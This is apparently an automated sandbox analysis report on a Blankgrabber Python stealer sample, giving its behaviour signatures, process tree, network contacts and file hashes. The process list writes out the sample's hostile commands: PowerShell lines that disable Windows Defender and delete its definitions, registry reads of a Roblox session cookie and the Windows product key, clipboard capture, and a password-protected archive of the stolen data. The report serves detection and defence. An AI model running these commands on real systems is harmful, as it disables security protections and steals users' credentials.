Analysis Overview
SHA256
c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579
Threat Level: Known bad
The file c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579 was found to be: Known bad.
Malicious Activity Summary
Blankgrabber family
A stealer written in Python and packaged with Pyinstaller
Command and Scripting Interpreter: PowerShell
Loads dropped DLL
Reads user/profile data of web browsers
Executes dropped EXE
Unsecured Credentials: Credentials In Files
Clipboard Data
Accesses cryptocurrency files/wallets, possible credential harvesting
Looks up external IP address via web service
UPX packed file
Enumerates processes with tasklist
Browser Information Discovery
Enumerates physical storage devices
Gathers system information
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Detects videocard installed
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-04 16:43
Signatures
A stealer written in Python and packaged with Pyinstaller
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blankgrabber family
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-04 16:43
Reported
2024-11-04 16:45
Platform
win7-20240903-en
Max time kernel
118s
Max time network
120s
Command Line
Signatures
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1852 wrote to memory of 2576 | N/A | C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe | C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe |
| PID 1852 wrote to memory of 2576 | N/A | C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe | C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe |
| PID 1852 wrote to memory of 2576 | N/A | C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe | C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe
"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"
C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe
"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\_MEI18522\python312.dll
| MD5 | 18677d48ba556e529b73d6e60afaf812 |
| SHA1 | 68f93ed1e3425432ac639a8f0911c144f1d4c986 |
| SHA256 | 8e2c03e1ee5068c16e61d3037a10371f2e9613221a165150008bef04474a8af8 |
| SHA512 | a843ab3a180684c4f5cae0240da19291e7ed9ae675c9356334386397561c527ab728d73767459350fa67624f389411d03665f69637c5f5c268011d1b103d0b02 |
memory/2576-23-0x000007FEF60C0000-0x000007FEF6784000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-04 16:43
Reported
2024-11-04 16:45
Platform
win10v2004-20241007-en
Max time kernel
138s
Max time network
155s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Clipboard Data
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe | N/A |
Loads dropped DLL
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Browser Information Discovery
Enumerates physical storage devices
Detects videocard installed
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Gathers system information
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe
"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"
C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe
"C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c4dd70a93d0e3db386dac9f6c8e3ee2a5ed60e4689a64883ce82d4b11e8bc579.exe'
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 1d9aa08afc00931cb3037f7791821741 xLqZ4ZNpZ0mewOCpBc2kmQ.0.1.0.0.0
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\system32\getmac.exe
getmac
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe a -r -hp"straji" "C:\Users\Admin\AppData\Local\Temp\rvLoV.zip" *"
C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe a -r -hp"straji" "C:\Users\Admin\AppData\Local\Temp\rvLoV.zip" *
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | gstatic.com | udp |
| GB | 216.58.204.67:443 | gstatic.com | tcp |
| US | 8.8.8.8:53 | 67.204.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.28.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\_MEI11122\python312.dll
| MD5 | 18677d48ba556e529b73d6e60afaf812 |
| SHA1 | 68f93ed1e3425432ac639a8f0911c144f1d4c986 |
| SHA256 | 8e2c03e1ee5068c16e61d3037a10371f2e9613221a165150008bef04474a8af8 |
| SHA512 | a843ab3a180684c4f5cae0240da19291e7ed9ae675c9356334386397561c527ab728d73767459350fa67624f389411d03665f69637c5f5c268011d1b103d0b02 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\VCRUNTIME140.dll
| MD5 | be8dbe2dc77ebe7f88f910c61aec691a |
| SHA1 | a19f08bb2b1c1de5bb61daf9f2304531321e0e40 |
| SHA256 | 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83 |
| SHA512 | 0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655 |
memory/4644-25-0x00007FFBAC960000-0x00007FFBAD024000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_ctypes.pyd
| MD5 | 4878ad72e9fbf87a1b476999ee06341e |
| SHA1 | 9e25424d9f0681398326252f2ae0be55f17e3540 |
| SHA256 | d699e09727eefe5643e0fdf4be4600a1d021af25d8a02906ebf98c2104d3735d |
| SHA512 | 6d465ae4a222456181441d974a5bb74d8534a39d20dca6c55825ebb0aa678e2ea0d6a6853bfa0888a7fd6be36f70181f367a0d584fccaa8daa940859578ab2b8 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\base_library.zip
| MD5 | 100dfe4e2eb2ce4726a43dbd4076b4ee |
| SHA1 | 5671116823ad50f18c7f0e45c612f41711cff8fe |
| SHA256 | 10b1adf18da86baebdbe7ee7561bc0ffa2aabf88e9f03cc34ab7943b25665769 |
| SHA512 | 1b63f7841ea699c46c86568407d4f1cff21db9f5d57aecc374e3eae3c283349090d828df909f0213d1b177992b49caf22d5154958080fc06238e9e3b0cdf7bb3 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\libffi-8.dll
| MD5 | 08b000c3d990bc018fcb91a1e175e06e |
| SHA1 | bd0ce09bb3414d11c91316113c2becfff0862d0d |
| SHA256 | 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece |
| SHA512 | 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf |
memory/4644-48-0x00007FFBC4920000-0x00007FFBC492F000-memory.dmp
memory/4644-47-0x00007FFBBF540000-0x00007FFBBF565000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_ssl.pyd
| MD5 | c0512ca159b58473feadc60d3bd85654 |
| SHA1 | ac30797e7c71dea5101c0db1ac47d59a4bf08756 |
| SHA256 | 66a0e06cce76b1e332278f84eda4c032b4befbd6710c7c7eb6f5e872a7b83f43 |
| SHA512 | 3999fc4e673cf2ce9938df5850270130247f4a96c249e01258a25b125d64c42c8683a85aec64ed9799d79b50f261bcfac6ee9de81f1c5252e044d02ac372e5c4 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_sqlite3.pyd
| MD5 | 81a43e60fc9e56f86800d8bb920dbe58 |
| SHA1 | 0dc3ffa0ccbc0d8be7c7cbae946257548578f181 |
| SHA256 | 79977cbda8d6b54868d9cfc50159a2970f9b3b0f8df0ada299c3c1ecfdc6deb0 |
| SHA512 | d3a773f941f1a726826d70db4235f4339036ee5e67667a6c63631ff6357b69ba90b03f44fd0665210ee243c1af733c84d2694a1703ebb290f45a7e4b1fc001c7 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_socket.pyd
| MD5 | aa8435614d30cee187af268f8b5d394b |
| SHA1 | 6e218f3ad8ac48a1dde6b3c46ff463659a22a44e |
| SHA256 | 5427daade880df81169245ea2d2cc68355d34dbe907bc8c067975f805d062047 |
| SHA512 | 3ccf7ec281c1dc68f782a39f339e191a251c9a92f6dc2df8df865e1d7796cf32b004ea8a2de96fe75fa668638341786eb515bac813f59a0d454fc91206fee632 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_queue.pyd
| MD5 | c2ba2b78e35b0ab037b5f969549e26ac |
| SHA1 | cb222117dda9d9b711834459e52c75d1b86cbb6e |
| SHA256 | d8b60222732bdcedddbf026f96bddda028c54f6ae6b71f169a4d0c35bc911846 |
| SHA512 | da2bf31eb6fc87a606cbaa53148407e9368a6c3324648cb3df026a4fe06201bbaab1b0e1a6735d1f1d3b90ea66f5a38d47daac9686520127e993ecb02714181f |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_lzma.pyd
| MD5 | 25b96925b6b4ea5dd01f843ecf224c26 |
| SHA1 | 69ba7c4c73c45124123a07018fa62f6f86948e81 |
| SHA256 | 2fbc631716ffd1fd8fd3c951a1bd9ba00cc11834e856621e682799ba2ab430fd |
| SHA512 | 97c56ce5040fb7d5785a4245ffe08817b02926da77c79e7e665a4cfa750afdcb7d93a88104831944b1fe3262c0014970ca50a332b51030eb602bb7fb29b56ae3 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_hashlib.pyd
| MD5 | edfb41ad93bc40757a0f0e8fdf1d0d6c |
| SHA1 | 155f574eef1c89fd038b544778970a30c8ab25ad |
| SHA256 | 09a0be93d58ce30fa7fb8503e9d0f83b10d985f821ce8a9659fd0bbc5156d81e |
| SHA512 | 3ba7d225828b37a141ed2232e892dad389147ca4941a1a85057f04c0ed6c0eab47b427bd749c565863f2d6f3a11f3eb34b6ee93506dee92ec56d7854e3392b10 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_decimal.pyd
| MD5 | d60e08c4bf3be928473139fa6dcb3354 |
| SHA1 | e819b15b95c932d30dafd7aa4e48c2eea5eb5fcb |
| SHA256 | e21b0a031d399ffb7d71c00a840255d436887cb761af918f5501c10142987b7b |
| SHA512 | 6cac905f58c1f25cb91ea0a307cc740575bf64557f3cd57f10ad7251865ddb88965b2ad0777089b77fc27c6d9eb9a1f87456ddf57b7d2d717664c07af49e7b58 |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\_bz2.pyd
| MD5 | 5cd942486b252213763679f99c920260 |
| SHA1 | abd370aa56b0991e4bfee065c5f34b041d494c68 |
| SHA256 | 88087fef2cff82a3d2d2d28a75663618271803017ea8a6fcb046a23e6cbb6ac8 |
| SHA512 | 6cd703e93ebccb0fd896d3c06ca50f8cc2e782b6cc6a7bdd12786fcfb174c2933d39ab7d8e674119faeca5903a0bfac40beffb4e3f6ca1204aaffefe1f30642c |
C:\Users\Admin\AppData\Local\Temp\_MEI11122\unicodedata.pyd
| MD5 | 3f2da3ed690327ae6b320daa82d9be27 |
| SHA1 | 32aebd8e8e17d6b113fc8f693259eba8b6b45ea5 |
| SHA256 | 7dc64867f466b666ff1a209b0ef92585ffb7b0cac3a87c27e6434a2d7b85594f |
